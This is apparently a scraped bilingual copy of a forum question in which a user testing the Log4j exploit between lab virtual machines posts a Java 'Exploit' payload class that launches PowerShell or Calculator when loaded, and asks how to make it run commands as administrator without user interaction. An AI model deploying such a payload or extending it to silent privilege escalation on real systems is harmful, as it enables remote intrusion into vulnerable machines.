繁体   English   中英

如何以管理员身份使用 java 在 cmd 中执行命令

[英]How to execute a command in a cmd as a admin using java

So I'm playing around with the Log4j exploit for java on two virtual machines, and I got CMD and Powershell to open, but i can't figure out how to open them as an admin and run a command without any user interaction. 这就是我的代码。 此代码使 Powershell 无需任何命令或以管理员身份运行。 所有这些都是在作为攻击者 VM 的 kali Linux 机器和作为受害者 VM 的 Windows 10 机器上完成的。 任何帮助将不胜感激

public class Exploit {
public Exploit() {}
static {
    try {
        String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                ? new String[]{"cmd.exe","/c", "start powershell.exe"}
                : new String[]{"open","/System/Applications/Calculator.app"};
        java.lang.Runtime.getRuntime().exec(cmds).waitFor();
    }catch (Exception e){
        e.printStackTrace();
    }
}
public static void main(String[] args) {
    Exploit e = new Exploit();
}

}

首先尝试以管理员身份运行 cmd,如下所示: 以管理员身份运行命令提示符

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM